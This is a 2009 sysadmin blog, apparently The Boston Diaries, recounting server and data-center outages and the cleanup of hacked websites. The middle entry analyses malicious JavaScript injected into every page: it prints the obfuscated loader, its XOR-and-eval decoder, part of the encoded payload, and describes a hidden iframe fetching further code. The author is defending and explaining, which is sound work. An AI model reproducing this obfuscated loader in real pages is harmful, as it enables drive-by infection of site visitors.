My boss is no longer allowed to take vacations

Saturday, August 29, 2009

Let me say this up front: Smirk is no longer allowed to take vacations, work related or otherwise.

Early this morning (around 5:00 am) I had to deal with a downed machine in The Data Center In Charlotte. That involved calling said Data Center (long distance, because there was an issue with their 800 number) and walk a technician through running fsck on a corrupted file system.

Then this evening (around 5:00 pm) I had to deal with a downed data center in The Data Center in Boca Raton (yes, that sounds silly, but if customers who get their Internet connection through our Data Center In Boca Raton can't get out to the Internet, and when we can't get in to The Data Center In Boca Raton from the Internet, then we have to assume the worst—that al-Qaeda took out the site from orbit, just to make sure). This involved several frantic calls between Smirk, R (a customer and partner of ours) and Dan the Network Engineer, and a five minute drive through a thunderstorm (I wasn't worried about being struck because, as everybody knows, being struck by lightning, along with getting bit by a radioactive spider, being caught in a gamma radiation blast, or getting washed with nuclear waste, confers superhero abilities in a person) to find a rather confused UPS on battery mode (with full battery power) but not supplying power to the devices plugged into it (go figure).

The last time bad things like this happened, Smirk and I were on a business trip, and the only common element between the two times—Smirk was out of town.

Oh wait … that was in August as well.

Hmm … perhaps August should be cancelled.

Nah, Smirk is not allowed to take vacations.

Sunday, August 30, 2009

Down the rabbit hole

So far, three for three. A downed server, a downed data center and now several hacked sites, all on the same server.

I swear, Smirk is never going on vacation again.

Anyway, the following ticket comes in:

Subject: URGENT - XXXXXXXXXXXXXXX - VIRUS alert
Hello support,
When trying to access the site it gives a virus alert and Norton would not let me download the files to clean them.
Are you able to do the cleaning, it seems as it is since December 2008, when the sever was upgraded, it is very strange. I you are able to help cleaning the files, or any other way that you can suggest for the cleaning of them would be very helpful …
Thanks a lot,
XXXXXX

(English is not XXXXXX's first language)

I check the site with no problem, but then again, I'm using Linux and Mac OS X and therefore, I don't use Norton (or any virus checking software) so I'm not going to see an issue. I borrow Bunny's laptop (which does run Windows and has anti-viral software on it) and yes, there's something odd with the site. It refuses to come up, and I can't ping the address the site is on. I can ping the address above and the address below, but not the address the site is on. And the anti-virual software is not saying anything.

Thanks to some help from Gregory, I'm able to see that yes, indeed, the anti-viral software on Bunny's machine caught something and is refusing to load the site. At least now I have somewhere to look. And I don't have to look very far.

At the bottom of the index.html file is:

<div id='x0499fd3b522511d0bf02ea0f9d3f27f9e'>
<script>
var jQuery = eval('wPi[n2d[o[w5.5e2v[aflP'.replace(/[\[P5f2]/g, ''));
jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x61...

All on a single line (not broken up like it is here) for about 20K of obfuscated code. And it exists on every HTML and PHP page on not only the site in question, but two other sites as well (it's on a machine dedicated to the one customer and there are about six sites on the server).

There ended up being too many files to clean up by hand, so a bit of coding later, and I have a program to do the cleanup work. And then the fun begins …

The first statement of the malicious code in question ends up being:

var jQuery = eval('window.eval','');

That was easy enough. The next line required some code to decode the sludge of hex numbers into characters. Again, quickly write some code and I end up with:

function yaqD5(jx1h7){function oNLAq(aui){var s429=0;var fyLx=aui.length;var sLc
8=0;while(sLc8<fyLx){s429+=xjv3(aui,sLc8)*fyLx;sLc8++;}return (s429+'');}functio
n xjv3(vMAgS,iEI4P){return vMAgS.charCodeAt(iEI4P);}   try {var xhFV=eval('a5rMg
5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';var hDe=0,wTrzNs
d=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var bkTnW7=oNLAq(
zfx0eN);jx1h7=unescape(jx1h7);for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r+
+){var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);var wUJNWv=xjv3(jx1h7,sFme6r);
hDe++;wTrzNsd++;if(wTrzNsd>bkTnW7.length)wTrzNsd=0;if(hDe>zfx0eN.length)hDe=0;oZ
AH+=String.fromCharCode(wUJNWv^ynhg) + '';}eval(oZAH); return oZAH=new String();
}catch(e){}}yaqD5('%32%38%35%37%36%33%35%30%59%27%1e%37%53%2a%31%47%0b%7f%15%65%
72%2f%3f%61%2e%09%29%2d%02%0e%05%04%0e%1d%68%11%32%24%75%6a%7b%7a%33%34%52%69%61
%02%2c%38%29%37%77%09%19%37%3f%26%64%62%33%21%12%18%3e%6f%63%29%7c%70%3b%00%35%3
2%2...

Yet more encoded data, about 4K worth this time. Quick program to decode this sequence of hexadecimal sludge and I get:

28576350Y'7S*1G
               er/?a.   )-h2$uj{z34Ria,8)7w     
    7?&db3!>oc)|p;nR.}2;l.'ij.3

Obviously the cryptic JavaScript code does some additional massaging on that data. So I clean up the JavaScript code a bit:

function yaqD5(jx1h7)
{
  function oNLAq(aui)
  {
    var s429=0;
    var fyLx=aui.length;
    var sLc8=0;
    while(sLc8<fyLx)
    {
      s429 += xjv3(aui,sLc8)*fyLx;
      sLc8++;
    }
    return (s429+'');
  }

  function xjv3(vMAgS,iEI4P)
  {
    return vMAgS.charCodeAt(iEI4P);
  }   

  try 
  {
    var xhFV=eval('a5rMg5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';
    var hDe=0,wTrzNsd=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');
    var bkTnW7=oNLAq(zfx0eN);
    
    jx1h7=unescape(jx1h7);
    
    for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r++)
    {
      var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);
      var wUJNWv=xjv3(jx1h7,sFme6r);
      hDe++;
      wTrzNsd++;
      if(wTrzNsd>bkTnW7.length) wTrzNsd=0;
      if(hDe>zfx0eN.length) hDe=0;
      oZAH+=String.fromCharCode(wUJNWv^ynhg) + '';
    }

    eval(oZAH); 
    return oZAH=new String();
  }

  catch(e){}
}

yaqD5('%32%38%35 ... [some 4,000 characters later ] ... %31%32');

Okay, it converts the hexadecimal sludge to binary data, then does something to it and finally evaluates the resulting data as JavaScript. I rewrite this a bit so that instead of evaluating the resulting string it prints the results out and I get:

f{lcvmhl tYDQt~DQHA&+{ sUFQxxCQLF,pravov}wg =.ycmklkeN ...

That certainly doesn't look like valid JavaScript to me. Okay, let's clean up some of the code a bit more (and only showing the relevant bits):

xhFV = eval('arguments.callee','')
zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'')

From single stepping this (Firebug is great for this type of thing) it appears that arguments.callee returns the actual function, with parameters, being called, and placed into xhFV, and then zfx0eN is the source code of the function being called (in this case, yadD5()), but the source code is the actual string representation as it appears in the HTML file! And this string was being used to transform the binary sludge into JavaScript.

So no wonder I was getting garbage, because I changed the source code!

Sheesh.

Once I use the actual source code as the “decryption key” I finally reach the bottom of this particular rabbit hole. The code (which still has code like s='<Eh]t;mElu>;<]b]o]dEy]>]'.replace(/[;\]rEu]/g, '') but that's about it) sets a cookie, then makes an invisible IFRAME which pulls a page (from a non-working site) that presumedly contains even nastier code yet.

I wasn't fond of dynamic languages before tonight's little trip, and afterwards, I like them even less. I'm fully aware that I might be overreacting here, wanting to toss out eval() with the ~~JavaScript~~ bathwater, but I seriously can't see what benefit comes with allowing unrestricted use of eval() in browser-based JavaScript engines.

Perhaps someone can enlighten me.

Monday, August 31, 2009

If this keeps up, I may have to physically drag Smirk back to the office

Four for four. Today's issue was a non-responsive DNS resolver in The Data Center In Boca Raton. It may have been left over from the UPS incident the other day (we have redundant DNS resolvers and there's a known issue with the monitoring system triggering false reports on that one resolver).

But still … this is getting ridiculous.

“What if you mix the mayonnaise in the can, WITH the tunafish? Or … hold it! Chuck! I got it! Take LIVE tuna fish, and FEED 'em mayonnaise! Oh this is great.”

Those USP devices you buy for your computer usually have a gel-cell battery that lasts for a few years. Less if your power goes out a lot. When you replace them, you pay a bundle, even if it's a standard cell. This short Instructable will demonstrate how to rework an older USP for more capacity with cheaper battery power.

Via Hacker News, Rework a USP with Massive Capacity

Sounds like a neat idea, but it got me thinking—wouldn't it be better if the USP could power the computer directly with DC? Our Cisco switches can take a direct 12V power supply, and pretty much all computer power supplies convert AC 120V to ±12V and ±5V (or is it ±3.3V these days?—I haven't kept up) and there are any number of devices (like the wireless router, the DSL modem, the VoIP phone) that all have these huge wall worts that are hard to find space to plug in that all work off of 12V as well. I would think it would be a no-brainer to make a USP do the conversion work and feed the devices DC directly, instead of converting 12VDC power into 120VAC power only to have it converted back to 12V/5VDC power.

The Boston Diaries

Saturday, August 29, 2009